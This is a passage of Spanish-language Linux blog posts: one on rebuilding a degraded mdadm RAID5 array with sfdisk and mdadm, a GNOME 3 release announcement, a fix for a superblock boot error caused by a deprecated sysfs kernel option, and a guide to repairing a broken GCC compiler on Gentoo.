Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Tue Feb 15 00:45:32 2011
State : clean, degraded
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 142
Number Major Minor Raid Device State
1 8 33 1 active sync /dev/sdc1
2 8 49 2 active sync /dev/sdd1
4 8 65 3 spare rebuilding /dev/sdf1</pre><br />
A continuación deberá reemplazar el disco por uno nuevo. Recuerde apagar el PC para esta tarea, salvo que su controladora SATA soporte desconexión en caliente.<br />
<br />
<a name="3"><b>Preparar el nuevo disco</b></a><br />
Una vez tenga haya reemplazado el disco averiado, deberá particionar el disco siguiendo la misma estructura que los discos del raid activo. En caso de que usted use el disco completo, sin particionar, puede saltarse este paso. Aunque como ya se comentó en <a href="http://www.makeinstall.es/2011/02/montar-un-raid5-por-software.html">Montar un raid5 por software</a>, esto no es recomendable sin embargo con un raid activo es imposible volver atrás, salvo que tenga posibilidad de contar con un nuevo juego de discos.<br />
<br />
La forma más sencilla para llevar a cabo esta tarea es usar sfdisk para clonar el esquema de partición. Para ello usaremos la opción <span class="Apple-style-span" style="color: blue;">-d</span> de <span class="Apple-style-span" style="color: blue;">sfdisk</span>, la cual imprime la tabla de particiones en un formato legible por el propio sfdisk. Por lo que tan solo tendremos que usar una tubería para redireccionar la salida hacia sfdisk.<br />
<pre class="brush: shell">agd-desktop # sfdisk -d /dev/sdc
# partition table of /dev/sdc
unit: sectors
/dev/sdc1 : start= 63, size=2930063157, Id=fd
/dev/sdc2 : start= 0, size= 0, Id= 0
/dev/sdc3 : start= 0, size= 0, Id= 0
/dev/sdc4 : start= 0, size= 0, Id= 0
agd-desktop ~ # sfdisk -d /dev/sdc | sfdisk /dev/sde
Comprobando que nadie esté utilizando este disco en este momento...
Correcto
Disco /dev/sde: 182401 cilindros, 255 cabezas, 63 sectores/pista
sfdisk: ERROR: el sector 0 no tiene una firma msdos
/dev/sde: tipo de tabla de particiones no reconocido
Situación anterior:
No se ha encontrado ninguna partición
Situación nueva:
Unidades = sectores de 512 bytes, contando desde 0
Disp. Inicio Principio Fin Nº sect. Id Sistema
/dev/sde1 63 2930063219 2930063157 fd
/dev/sde2 0 0 0 Vacía
/dev/sde3 0 0 0 Vacía
/dev/sde4 0 0 0 Vacía
Atención: no hay ninguna partición primaria marcada como iniciable (activa).
Esto no es problema para LILO, pero el MBR de DOS no iniciará con este disco.
La nueva tabla de particiones se ha escrito correctamente
Volviendo a leer la tabla de particiones...</pre><br />
En este punto, su disco está preparado para ser integrado en el raid.<br />
<br />
<a name="4"><b>Añadir el disco nuevo al raid</b></a><br />
Para añadir el nuevo disco al raid, tan solo ha de ejecutar <span class="Apple-style-span" style="color: blue;">mdadm --add /dev/mdX /dev/sdXY</span>.<br />
<pre class="brush: shell">agd-desktop ~ # mdadm --add /dev/md0 /dev/sde1
mdadm: added /dev/sde1</pre><br />
Una consulta al estado del raid, através de mdadm --detail /dev/md0 devolverá algo similar a:<br />
<pre class="brush: shell">agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 4
Persistence : Superblock is persistent
Update Time : Tue Feb 15 00:45:32 2011
State : clean, degraded
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 1
Layout : left-symmetric
Chunk Size : 512K
Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 142
Number Major Minor Raid Device State
1 8 33 1 active sync /dev/sdc1
2 8 49 2 active sync /dev/sdd1
4 8 65 3 spare rebuilding /dev/sdf1
5 8 97 - spare /dev/sde1</pre><br />
Si desea ver el progreso de la reconstrucción del raid, tan solo deberá ejecutar el siguiente comando en una terminal, <span class="Apple-style-span" style="color: blue;">watch cat /proc/mdstat</span>.<br />
<pre class="brush: shell">agd-desktop # watch cat /proc/mdstat
Every 2,0s: cat /proc/mdstat Mon Apr 4 00:19:43 2011
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 sde1[4] sdc1[3] sdd1[1]
2930060288 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [_UU]
[>....................] recovery = 3.0% (45403136/1465030144) finish=271
.4min speed=87148K/sec
unused devices: <none></pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-81543874491012910762011-04-06T22:00:00.011+02:002011-06-24T00:02:46.057+02:00GNOME 3 LiberadoLa cuenta atrás para el lanzamiento de <a href="http://www.gnome3.org/">GNOME 3</a> ha finalizado hoy mismo, para ser exactos a las 20:00:00 UTC.<br />
<a name='more'></a><br />
GNOME nació de la mano <a href="http://es.wikipedia.org/wiki/Miguel_de_Icaza">Miguel de Icaza</a> y <a href="http://es.wikipedia.org/wiki/Federico_Mena">Federico Mena</a> en 1997 como una alternativa a KDE. En 2002 fue lanzada la segunda gran versión de GNOME, <a href="http://library.gnome.org/misc/release-notes/2.0/">GNOME 2</a> donde entre otras muchas mejoras se migró al <a href="http://es.wikipedia.org/wiki/Unicode">Estándar Unicode</a> impulsando las traducciones de GNOME hasta los <a href="http://l10n.gnome.org/languages/">173 idiomas disponibles actualmente</a>.<br />
<br />
Después de ocho años de su última gran versión, el Proyecto GNOME ha liberado GNOME 3 donde han cortado de forma radical, sustituyendo el veterano gestor de ventanas <a href="http://es.wikipedia.org/wiki/Metacity">Metacity</a> por un nuevo gestor denominado <a href="http://es.wikipedia.org/wiki/Mutter_(gestor_de_ventanas)">Mutter</a> y eliminando <a href="http://es.wikipedia.org/wiki/GNOME_Panel">GNOME Panel</a> en favor de <a href="http://es.wikipedia.org/wiki/GNOME_Shell">GNOME Shell</a>.<br />
<br />
GNOME3 rompe, desde mi punto de vista, con el paradigma actual de los grandes escritorios para ofrecer un entorno totalmente nuevo que deberá de cautivar a los usuarios para ser aceptado.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com1tag:blogger.com,1999:blog-507892079964167031.post-71499550898930103172011-03-30T18:56:00.003+02:002011-06-24T02:48:59.326+02:00Error: Superblock could not be readTras instalar una máquina virtual y compilar el kernel, me decido a reiniciar la máquina y me arroja el siguiente error:<br />
<pre class="brush: shell">ext2fs_check_if_mount: Can't check if filesystem is mounted due to missing mtab file while determining where /dev/sda2 is mounted.
fsck.ext3: No such file or directory while trying to open /dev/sda2
/dev/sda2:
The superblock could not be read or does not describe a correct ext2
filesystem. If the device is valid and it really contains an ext2
filesystem (and not swap or ufs or something else), the the superblock
is corrupt, and you might try running e2fsck with an alternate superblock:
e2fsck -b 8193 <device>
* Filesystem couldn't be fixed :(</pre><a name='more'></a><br />
<br />
Tal y como vimos en <a href="http://www.makeinstall.es/2011/03/aprende-conceptos-superbloques-inodos-y.html">Aprende conceptos: superbloques, bloques e inodos</a>, el superbloque contiene información vital sobre el sistema de ficheros. Y es lo primero que busca el kernel al montar un sistema de ficheros de tipo <i>extX</i>.<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP8SZ8MzqVOTwLrNHafuW88Aq2efsD4UmhdFpJ_Ws9MVrCvvQd_lKhmGA7gorMGIFCiVOcecPcwvQ3XGeCBFhnSRp8JBmihcsi-ABPjcDuBFf_qcF0H4m7TQhq6EfnTpTqfL1tCU6S5n4/s1600/bloque-seguridad.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP8SZ8MzqVOTwLrNHafuW88Aq2efsD4UmhdFpJ_Ws9MVrCvvQd_lKhmGA7gorMGIFCiVOcecPcwvQ3XGeCBFhnSRp8JBmihcsi-ABPjcDuBFf_qcF0H4m7TQhq6EfnTpTqfL1tCU6S5n4/s1600/bloque-seguridad.png" /></a><br />
Por el error que da, en principio pensé que el sistema de archivos contenía errores. Inicie la máquina virtual desde una imagen de recuperación y use fsck, tal y como recomienda el propio kernel, para intentar recuperar el superbloque a partir de una de sus copias de seguridad. Puesto que el sistema de archivos tiene un tamaño de bloque de 4KB, el respaldo del superbloque se localiza en el bloque 32768 así que ejecute: <span class="Apple-style-span" style="color: blue;">fsck.ext4 -b 32768</span>. Sin embargo tras reiniciar, el problema persistía.<br />
<br />
El problema resultó ser que había activado por error<i> enable deprecated sysfs features to support old userspace tools</i>, y de acuerdo al propio <i>man del kernel</i> no debe ser usada en distribuciones modernas.<br />
<fieldset class="fieldset-border"><legend class="fieldset-legend"> .config - Linux Kernel v2.6.36-gentoo-r5 Configuration</legend><span class="fieldset-block">CONFIG_SYSFS_DEPRECATED_V2:<br />
<br />
This option switches the layout of sysfs to the deprecated version. Do not use it on recent distributions.<br />
<br />
The current sysfs layout features a unified device tree at /sys/devices/, which is able to express a hierarchy between class devices. If the deprecated option is set to Y, the unified device tree is split into a bus device tree /sys/devices/ and several individual class device trees at /sys/class/. The class and bus devices will be connected by "<subsystem>:<name>" and the "device" links. The "block" class devices, will not show up in /sys/class/block/. Some subsystems will suppress the creation of some devices which depend on the unified device tree.<br />
<br />
This option is not a pure compatibility option that can be safely enabled on newer distributions. It will change the layout of sysfs to the non-extensible deprecated version, and disable some features, which can not be exported without confusing older userspace tools. Since 2007/2008 all major distributions do not enable this option, and ship no tools which depend on the deprecated layout or this option.<br />
<br />
If you are using a new kernel on an older distribution, or use older userspace tools, you might need to say Y here. Do not say Y, if the original kernel, that came with your distribution, has this option set to N.<br />
<br />
Symbol: SYSFS_DEPRECATED_V2 [=n]<br />
Type: boolean<br />
Prompt: enable deprecated sysfs features to support old userspace tools<br />
Defined at init/Kconfig:661<br />
Depends on: SYSFS [=y]<br />
Location:<br />
-> General setup<br />
Selects: SYSFS_DEPRECATED [=n]</span></fieldset><br />
Por tanto tan solo tuve que recompilar el kernel y desmarcar <i>enable deprecated sysfs features to support old userspace tools</i>.<br />
<pre class="brush: diff">- [*] enable deprecated sysfs features to support old userspace tools
+ [ ] enable deprecated sysfs features to support old userspace tools</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-47648452563873822582011-03-22T13:34:00.027+01:002011-06-27T23:15:22.173+02:00Reparar el compilador GCC en gentooGentoo es una distribución que se caracteriza por descargar y compilar el código fuente de acuerdo a los flags de compilación, llamadas USE, que el usuario ha decidido activar. Puesto que no existen binarios precompilados, o al menos están limitados a un puñado de <i>paquetes grandes</i>, un problema en el compilador GCC deja al sistema imposibilitado para instalar ningún software adicional. En este tutorial se abordará como solucionar problemas en el compilador GCC en gentoo.<br />
<a name='more'></a><br />
Los errores que se puede encontrar, entre otros, son:<br />
<pre class="brush: shell">agd-server # emerge --info
!!! No gcc found. You probably need to 'source /etc/profile'
!!! to update the environment of this terminal and possibly
!!! other terminals also.
agd-server # gcc-config -l
* gcc-config: Active gcc profile is invalid!
[1] x86_64-pc-linux-gnu-4.4.4-r2
agd-server # gcc-config 1
* Switching native-compiler to x86_64-pc-linux-gnu-4.4.4-r2 ...
* Your gcc has a bug with GCC_SPECS.
* Please re-emerge gcc.
* http://bugs.gentoo.org/68395
>>> Regenerating /etc/ld.so.cache... [ ok ]
* If you intend to use the gcc from the new profile in an already
* running shell, please remember to do:
* # source /etc/profile
agd-server # gcc
gcc-config error: Could not run/locate "gcc"</pre><br />
La solución ante este problema es obvia, reinstalar el compilador GCC. Sin embargo si su compilador GCC está dañado, no podrá recompilarse a sí mismo. A continuación se le muestran dos posibles soluciones a este problema:<br />
<br />
<b>SOLUCIÓN 1</b><br />
La forma más sencilla de solucionar el problema es descargar un binario precompilado para su arquitectura e indicarle a portage que lo instale. Un sitio, con garantía, para descargar binarios para gentoo es <a href="http://tinderbox.dev.gentoo.org/">tinderbox.dev.gentoo.org</a>. La última versión estable, cuando se escribió este post, es <a href="http://packages.gentoo.org/package/sys-devel/gcc">sys-devel/gcc-4.4.5</a> tanto en <a href="http://tinderbox.dev.gentoo.org/default-linux/amd64/sys-devel/gcc-4.4.5.tbz2">x86_64</a> como en <a href="http://tinderbox.dev.gentoo.org/default-linux/x86/sys-devel/gcc-4.4.5.tbz2">x86</a>.<br />
<br />
Una vez obtenga el binario, guárdelo en <span class="Apple-style-span" style="color: #666666;">/usr/portage/packages/sys-devel/gcc-4.4.5.tbz2</span> e indique a Portage que lo instale (opción <span class="Apple-style-span" style="color: blue;">-k</span> y ruta hasta el binario precompilado). Por último tan solo deberá listar los compiladores existentes y seleccionar un compilador válido (probablemente el 2 o 1). Una vez haya solucionado su problema con el compilador, es recomendable que verifique la integridad del resto del sistema mediante el comando <span class="Apple-style-span" style="color: blue;">revdep-rebuild</span>.<br />
<pre class="brush: shell">agd-server # /usr/portage/packages/sys-devel/
agd-server # wget http://tinderbox.dev.gentoo.org/default-linux/amd64/sys-devel/gcc-4.4.5.tbz2
agd-server # emerge -avk /usr/portage/packages/sys-devel/gcc-4.4.5.tbz2
agd-server # gcc-config -l
* gcc-config: Active gcc profile is invalid!
[1] x86_64-pc-linux-gnu-4.4.4-r2
[2] x86_64-pc-linux-gnu-4.4.5
agd-server # gcc-config 2
agd-server # revdep-rebuild</pre><br />
Una vez que haya comprobado que la integridad del sistema, puede recompilar GCC para su sistema meidante <span class="Apple-style-span" style="color: blue;">emerge -av sys-devel/gcc</span>.<br />
<br />
<b>SOLUCIÓN 2</b><br />
En este caso, deberá descargar y descomprimir <span class="Apple-style-span" style="color: #666666;">portage</span> y <span class="Apple-style-span" style="color: #666666;">stage3</span> en un directorio, copiar su <span class="Apple-style-span" style="color: #666666;">/etc/make.conf</span> al nuevo directorio, hacer <span class="Apple-style-span" style="color: #666666;">chroot</span> en él y compilar un binario para su máquina. A continuación tan solo deberá instalar el binario generado en el entorno <span class="Apple-style-span" style="color: #666666;">chroot</span> en su máquina. Por último solo deberá verificar los compiladores disponible y seleccionar el nuevo compilador.<br />
<pre class="brush: shell">agd-server # mkdir /temp/recovery-gcc
agd-server # cd /temp/recovery-gcc
agd-server # wget http://....stage3-....tar.bz2
agd-server # wget http://....portage-....tar.bz2
agd-server # tar xvjpf stage3-...tar.bz2 -C /temp/recovery-gcc
agd-server # tar xvjf porrtage-...tar.bz2 -C /temp/recovery-gcc/usr
agd-server # cp /etc/make.conf /temp/recovery-gcc/etc/
agd-server # cp -L /etc/resolv.conf /temp/recovery-gcc/etc/
agd-server # mount -t proc none /temp/recovery-gcc/proc
agd-server # mount -o bind /dev /temp/recovery-gcc/dev
agd-server # chroot /temp/recovery-gcc/ /bin/bash
agd-server # env-update
>> Regenerating /etc/ld.so.cache...
agd-server # source /etc/profile
agd-server # export PS1="(chroot) $PS1"
(chroot) agd-server # emerge --sync
(chroot) agd-server # emerge -avB sys-devel/gcc
agd-server # cd usr/portage/packages/sys-devel/
agd-server # cp /temp/recovery-gcc/usr/portage/packages/sys-devel/gcc-4.4.5.tbz2 ./
agd-server # emerge -avk /usr/portage/packages/sys-devel/gcc-4.4.5.tbz2
agd-server # gcc-config -l
* gcc-config: Active gcc profile is invalid!
[1] x86_64-pc-linux-gnu-4.4.4-r2
[2] x86_64-pc-linux-gnu-4.4.5
agd-server # gcc-config 2
agd-server # revdep-rebuild</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0